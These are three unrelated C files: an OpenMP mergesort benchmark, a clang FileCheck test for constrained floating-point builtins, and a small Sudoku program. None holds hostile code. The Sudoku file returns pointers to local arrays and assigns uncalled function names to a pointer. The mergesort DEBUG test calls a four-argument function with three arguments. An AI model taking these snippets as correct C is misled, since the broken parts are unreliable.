#include <assert.h> #include <omp.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #define BENCHMARK(name, block)\ do {\ clock_t t1, t2;\ t1 = clock();\ {\ block\ }\ t2 = clock();\ int duration_ms = (((double)t2 - t1) / CLOCKS_PER_SEC) * 1000;\ printf("%s - duration: %d ms\n", name, duration_ms);\ } while(0); #define BENCHMARK_PARALL(name, block)\ do {\ double t1, t2;\ t1 = omp_get_wtime();\ {\ block\ }\ t2 = omp_get_wtime();\ double duration_ms = (t2 - t1) * 1000;\ printf("%s - duration: %lf ms\n", name, duration_ms);\ } while(0); int is_ordered(const int *v, int n); void print_array(int *v, int n); void populate_array_seq(int *v, int n); void populate_array_parall(int *v, int n); void populate_array_parall_better(int *v, int n); void mergesort_seq(int *v, int a, int b); void mergesort_parall(int *v, int a, int b, int threads); void merge(int *v, int a, int b); #ifdef DEBUG void test_is_ordered(); void test_merge(); void test_mergesort_seq(); void test_mergesort_parall(); void test_all(); #endif void merge(int *v, int a, int b) { /* halves: [a, m) and [m, b) */ int m = a + (b - a)/2; int n = b - a; int *tmp = (int*) malloc(n * sizeof(int)); int ti = 0, ai = a, bi = m; while(ai < m && bi < b) { tmp[ti++] = (v[ai] < v[bi]) ? v[ai++] : v[bi++]; } // lower half while(ai < m) { tmp[ti++] = v[ai++]; } // upper half while(bi < b) { tmp[ti++] = v[bi++]; } memcpy(v + a, tmp, n * sizeof(int)); free(tmp); } void mergesort_seq(int *v, int a, int b) { if(b - a <= 1) return; int m = a + (b - a)/2; mergesort_seq(v, a, m); mergesort_seq(v, m, b); merge(v, a, b); } void mergesort_parall(int *v, int a, int b, int threads) { if(b - a <= 1) return; int m = a + (b - a)/2; if(threads > 1) { #pragma omp parallel sections { #pragma omp section mergesort_parall(v, a, m, threads / 2); #pragma omp section mergesort_parall(v, m, b, threads - threads / 2); } } else { mergesort_seq(v, a, m); mergesort_seq(v, m, b); } merge(v, a, b); } /* Returns 1 if the n-element array v is ordered, or 0 otherwise. */ int is_ordered(const int *v, int n) { for(int i = 0; i < n - 1; ++i) { if(v[i] > v[i+1]) return 0; } return 1; } void print_array(int *v, int n) { for(int i = 0; i < n; ++i) { printf("%d ", v[i]); } puts(""); } void populate_array_seq(int *v, int n) { for(int i = 0; i < n; ++i) { v[i] = rand() % n; } } void populate_array_parall(int *v, int n) { #pragma omp parallel for for(int i = 0; i < n; ++i) { v[i] = rand() % n; } } void populate_array_parall_better(int *v, int n) { unsigned seed; #pragma omp parallel private(seed) { // Those constants were chosen arbitrarily. seed = 25234 + 17 * omp_get_thread_num(); #pragma omp for for(int i = 0; i < n; ++i) { v[i] = rand_r(&seed) % n; } } } int main(int argc, char *argv[]) { #ifdef DEBUG test_all(); #endif if(argc < 2) { printf("Usage: %s <k>\n", argv[0]); printf("Example: %s %d\n", argv[0], 28); exit(0); } /* Size of the sequence: n = 2^k */ const int k = atoi(argv[1]); const int n = 1 << k; int *v = (int*) malloc(n * sizeof(int)); srand(time(NULL)); int num_threads; #pragma omp parallel { #pragma omp single num_threads = omp_get_num_threads(); } printf("Running with %d threads\n", num_threads); /* * Just comment/uncomment the section you don't want/want. * There are two benchmarks in each one. */ /* * SERIAL VERSION. * */ /* BENCHMARK("populate_array_seq", populate_array_seq(v, n); ); BENCHMARK("megesort_seq", mergesort_seq(v, 0, n); ); */ /* * PARALLEL VERSION. * */ BENCHMARK_PARALL("populate_array_parall_better", populate_array_parall_better(v, n); ); BENCHMARK_PARALL("mergesort_parall", mergesort_parall(v, 0, n, num_threads); ); assert(is_ordered(v, n)); free(v); return 0; } #ifdef DEBUG void test_is_ordered() { puts("test_is_ordered"); int v[] = {1, 2, 3, 4}; assert(is_ordered(v, 4)); int w[] = {1, 2, 4, 3}; assert(!is_ordered(w, 4)); } void test_merge() { puts("test_merge"); int v[] = {3, 4, 1, 2}; merge(v, 0, 4); assert(is_ordered(v, 4)); int w[] = {1, 2, 3, 4}; merge(w, 0, 4); assert(is_ordered(w, 4)); } void test_mergesort_seq() { puts("test_mergesort_seq"); int v[] = {5, 4, 3, 2, 1}; mergesort_seq(v, 0, 5); assert(is_ordered(v, 5)); int w[] = {4, 3, 2, 1}; mergesort_seq(w, 0, 4); assert(is_ordered(w, 4)); int x[] = {1, 2, 3}; mergesort_seq(x, 0, 3); assert(is_ordered(x, 3)); } void test_mergesort_parall() { puts("test_mergesort_parall"); int v[] = {5, 4, 3, 2, 1}; mergesort_parall(v, 0, 5); assert(is_ordered(v, 5)); int w[] = {4, 3, 2, 1}; mergesort_parall(w, 0, 4); assert(is_ordered(w, 4)); int x[] = {1, 2, 3}; mergesort_parall(x, 0, 3); assert(is_ordered(x, 3)); } void test_all() { puts("test"); test_is_ordered(); test_merge(); test_mergesort_seq(); test_mergesort_parall(); } #endif

the_stack_data/26700685.c

// RUN: %clang_cc1 -triple x86_64-linux -ffp-exception-behavior=maytrap -w -S -o - -emit-llvm %s | FileCheck %s // Test codegen of constrained math builtins. // // Test that the constrained intrinsics are picking up the exception // metadata from the AST instead of the global default from the command line. #pragma float_control(except, on) void foo(double *d, float f, float *fp, long double *l, int *i, const char *c) { f = __builtin_fmod(f,f); f = __builtin_fmodf(f,f); f = __builtin_fmodl(f,f); f = __builtin_fmodf128(f,f); // CHECK: call double @llvm.experimental.constrained.frem.f64(double %{{.*}}, double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.frem.f32(float %{{.*}}, float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.frem.f80(x86_fp80 %{{.*}}, x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.frem.f128(fp128 %{{.*}}, fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_pow(f,f); __builtin_powf(f,f); __builtin_powl(f,f); __builtin_powf128(f,f); // CHECK: call double @llvm.experimental.constrained.pow.f64(double %{{.*}}, double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.pow.f32(float %{{.*}}, float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.pow.f80(x86_fp80 %{{.*}}, x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.pow.f128(fp128 %{{.*}}, fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_powi(f,f); __builtin_powif(f,f); __builtin_powil(f,f); // CHECK: call double @llvm.experimental.constrained.powi.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.powi.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.powi.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_ceil(f); __builtin_ceilf(f); __builtin_ceill(f); __builtin_ceilf128(f); // CHECK: call double @llvm.experimental.constrained.ceil.f64(double %{{.*}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.ceil.f32(float %{{.*}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.ceil.f80(x86_fp80 %{{.*}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.ceil.f128(fp128 %{{.*}}, metadata !"fpexcept.strict") __builtin_cos(f); __builtin_cosf(f); __builtin_cosl(f); __builtin_cosf128(f); // CHECK: call double @llvm.experimental.constrained.cos.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.cos.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.cos.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.cos.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_exp(f); __builtin_expf(f); __builtin_expl(f); __builtin_expf128(f); // CHECK: call double @llvm.experimental.constrained.exp.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.exp.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.exp.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.exp.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_exp2(f); __builtin_exp2f(f); __builtin_exp2l(f); __builtin_exp2f128(f); // CHECK: call double @llvm.experimental.constrained.exp2.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.exp2.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.exp2.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.exp2.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_floor(f); __builtin_floorf(f); __builtin_floorl(f); __builtin_floorf128(f); // CHECK: call double @llvm.experimental.constrained.floor.f64(double %{{.*}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.floor.f32(float %{{.*}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.floor.f80(x86_fp80 %{{.*}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.floor.f128(fp128 %{{.*}}, metadata !"fpexcept.strict") __builtin_fma(f,f,f); __builtin_fmaf(f,f,f); __builtin_fmal(f,f,f); __builtin_fmaf128(f,f,f); // CHECK: call double @llvm.experimental.constrained.fma.f64(double %{{.*}}, double %{{.*}}, double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.fma.f32(float %{{.*}}, float %{{.*}}, float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.fma.f80(x86_fp80 %{{.*}}, x86_fp80 %{{.*}}, x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.fma.f128(fp128 %{{.*}}, fp128 %{{.*}}, fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_fmax(f,f); __builtin_fmaxf(f,f); __builtin_fmaxl(f,f); __builtin_fmaxf128(f,f); // CHECK: call double @llvm.experimental.constrained.maxnum.f64(double %{{.*}}, double %{{.*}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.maxnum.f32(float %{{.*}}, float %{{.*}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.maxnum.f80(x86_fp80 %{{.*}}, x86_fp80 %{{.*}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.maxnum.f128(fp128 %{{.*}}, fp128 %{{.*}}, metadata !"fpexcept.strict") __builtin_fmin(f,f); __builtin_fminf(f,f); __builtin_fminl(f,f); __builtin_fminf128(f,f); // CHECK: call double @llvm.experimental.constrained.minnum.f64(double %{{.*}}, double %{{.*}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.minnum.f32(float %{{.*}}, float %{{.*}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.minnum.f80(x86_fp80 %{{.*}}, x86_fp80 %{{.*}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.minnum.f128(fp128 %{{.*}}, fp128 %{{.*}}, metadata !"fpexcept.strict") __builtin_llrint(f); __builtin_llrintf(f); __builtin_llrintl(f); __builtin_llrintf128(f); // CHECK: call i64 @llvm.experimental.constrained.llrint.i64.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llrint.i64.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llrint.i64.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llrint.i64.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_llround(f); __builtin_llroundf(f); __builtin_llroundl(f); __builtin_llroundf128(f); // CHECK: call i64 @llvm.experimental.constrained.llround.i64.f64(double %{{.*}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llround.i64.f32(float %{{.*}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llround.i64.f80(x86_fp80 %{{.*}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llround.i64.f128(fp128 %{{.*}}, metadata !"fpexcept.strict") __builtin_log(f); __builtin_logf(f); __builtin_logl(f); __builtin_logf128(f); // CHECK: call double @llvm.experimental.constrained.log.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.log.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.log.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.log.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_log10(f); __builtin_log10f(f); __builtin_log10l(f); __builtin_log10f128(f); // CHECK: call double @llvm.experimental.constrained.log10.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.log10.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.log10.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.log10.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_log2(f); __builtin_log2f(f); __builtin_log2l(f); __builtin_log2f128(f); // CHECK: call double @llvm.experimental.constrained.log2.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.log2.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.log2.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.log2.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_lrint(f); __builtin_lrintf(f); __builtin_lrintl(f); __builtin_lrintf128(f); // CHECK: call i64 @llvm.experimental.constrained.lrint.i64.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lrint.i64.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lrint.i64.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lrint.i64.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_lround(f); __builtin_lroundf(f); __builtin_lroundl(f); __builtin_lroundf128(f); // CHECK: call i64 @llvm.experimental.constrained.lround.i64.f64(double %{{.*}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lround.i64.f32(float %{{.*}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lround.i64.f80(x86_fp80 %{{.*}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lround.i64.f128(fp128 %{{.*}}, metadata !"fpexcept.strict") __builtin_nearbyint(f); __builtin_nearbyintf(f); __builtin_nearbyintl(f); __builtin_nearbyintf128(f); // CHECK: call double @llvm.experimental.constrained.nearbyint.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.nearbyint.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.nearbyint.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.nearbyint.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_rint(f); __builtin_rintf(f); __builtin_rintl(f); __builtin_rintf128(f); // CHECK: call double @llvm.experimental.constrained.rint.f64(double %{{.*}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.rint.f32(float %{{.*}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.rint.f80(x86_fp80 %{{.*}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.rint.f128(fp128 %{{.*}}, metadata !"fpexcept.strict") __builtin_round(f); __builtin_roundf(f); __builtin_roundl(f); __builtin_roundf128(f); // CHECK: call double @llvm.experimental.constrained.round.f64(double %{{.*}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.round.f32(float %{{.*}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.round.f80(x86_fp80 %{{.*}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.round.f128(fp128 %{{.*}}, metadata !"fpexcept.strict") __builtin_sin(f); __builtin_sinf(f); __builtin_sinl(f); __builtin_sinf128(f); // CHECK: call double @llvm.experimental.constrained.sin.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.sin.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.sin.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.sin.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_sqrt(f); __builtin_sqrtf(f); __builtin_sqrtl(f); __builtin_sqrtf128(f); // CHECK: call double @llvm.experimental.constrained.sqrt.f64(double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.sqrt.f32(float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.sqrt.f80(x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.sqrt.f128(fp128 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_trunc(f); __builtin_truncf(f); __builtin_truncl(f); __builtin_truncf128(f); // CHECK: call double @llvm.experimental.constrained.trunc.f64(double %{{.*}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.trunc.f32(float %{{.*}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.trunc.f80(x86_fp80 %{{.*}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.trunc.f128(fp128 %{{.*}}, metadata !"fpexcept.strict") }; // CHECK: declare double @llvm.experimental.constrained.frem.f64(double, double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.frem.f32(float, float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.frem.f80(x86_fp80, x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.frem.f128(fp128, fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.pow.f64(double, double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.pow.f32(float, float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.pow.f80(x86_fp80, x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.pow.f128(fp128, fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.powi.f64(double, i32, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.powi.f32(float, i32, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.powi.f80(x86_fp80, i32, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.ceil.f64(double, metadata) // CHECK: declare float @llvm.experimental.constrained.ceil.f32(float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.ceil.f80(x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.ceil.f128(fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.cos.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.cos.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.cos.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.cos.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.exp.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.exp.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.exp.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.exp.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.exp2.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.exp2.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.exp2.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.exp2.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.floor.f64(double, metadata) // CHECK: declare float @llvm.experimental.constrained.floor.f32(float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.floor.f80(x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.floor.f128(fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.fma.f64(double, double, double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.fma.f32(float, float, float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.fma.f80(x86_fp80, x86_fp80, x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.fma.f128(fp128, fp128, fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.maxnum.f64(double, double, metadata) // CHECK: declare float @llvm.experimental.constrained.maxnum.f32(float, float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.maxnum.f80(x86_fp80, x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.maxnum.f128(fp128, fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.minnum.f64(double, double, metadata) // CHECK: declare float @llvm.experimental.constrained.minnum.f32(float, float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.minnum.f80(x86_fp80, x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.minnum.f128(fp128, fp128, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llrint.i64.f64(double, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llrint.i64.f32(float, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llrint.i64.f80(x86_fp80, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llrint.i64.f128(fp128, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llround.i64.f64(double, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llround.i64.f32(float, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llround.i64.f80(x86_fp80, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llround.i64.f128(fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.log.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.log.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.log.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.log.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.log10.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.log10.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.log10.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.log10.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.log2.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.log2.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.log2.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.log2.f128(fp128, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lrint.i64.f64(double, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lrint.i64.f32(float, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lrint.i64.f80(x86_fp80, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lrint.i64.f128(fp128, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lround.i64.f64(double, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lround.i64.f32(float, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lround.i64.f80(x86_fp80, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lround.i64.f128(fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.nearbyint.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.nearbyint.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.nearbyint.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.nearbyint.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.rint.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.rint.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.rint.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.rint.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.round.f64(double, metadata) // CHECK: declare float @llvm.experimental.constrained.round.f32(float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.round.f80(x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.round.f128(fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.sin.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.sin.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.sin.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.sin.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.sqrt.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.sqrt.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.sqrt.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.sqrt.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.trunc.f64(double, metadata) // CHECK: declare float @llvm.experimental.constrained.trunc.f32(float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.trunc.f80(x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.trunc.f128(fp128, metadata) #pragma STDC FP_CONTRACT ON void bar(float f) { f * f + f; (double)f * f - f; (long double)-f * f + f; // CHECK: call float @llvm.experimental.constrained.fmuladd.f32(float %{{.*}}, float %{{.*}}, float %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: fneg // CHECK: call double @llvm.experimental.constrained.fmuladd.f64(double %{{.*}}, double %{{.*}}, double %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: fneg // CHECK: call x86_fp80 @llvm.experimental.constrained.fmuladd.f80(x86_fp80 %{{.*}}, x86_fp80 %{{.*}}, x86_fp80 %{{.*}}, metadata !"round.tonearest", metadata !"fpexcept.strict") };

the_stack_data/43887547.c

#include <stdio.h> #include <stdlib.h> #include <time.h> typedef struct point{ unsigned int x; unsigned int y; }point; typedef struct cell{ int val; point location; }cell; cell* empty_Sudoku(); cell* random_Sudoku(); void print_Sudoku(cell* Sudoku); int main(){ cell* sudoku; sudoku = empty_Sudoku; print_Sudoku(sudoku); sudoku = random_Sudoku; printf("\n"); print_Sudoku(sudoku); return(0); } cell* empty_Sudoku(){ int column; int row; cell Sudoku[27]; for (size_t i = 0; i < 27; i++){ column = i % 10; row = (i - (i % 10)) / 10; Sudoku[i].val = 0; Sudoku[i].location.x = column; Sudoku[i].location.y = row; } cell* p = &Sudoku[0]; return(p); } cell* random_Sudoku(){ int column; int row; srand(time(NULL)); cell Sudoku[27]; for (size_t i = 0; i < 27; i++){ column = i % 10; row = (i - (i % 9)) / 10; Sudoku[i].val = rand() % 10 +1; Sudoku[i].location.x = column; Sudoku[i].location.y = row; } cell* p = &Sudoku[0]; return(p); } void print_Sudoku(cell* Sudoku){ int row = 0; int row_pr; for (size_t i = 0; i < 27; i++){ row_pr = row; row = (i - (i % 10)) / 10; if (row > row_pr){ printf("\n\n"); } printf("\t%d\t", Sudoku[i].val); } printf("\n\n"); }

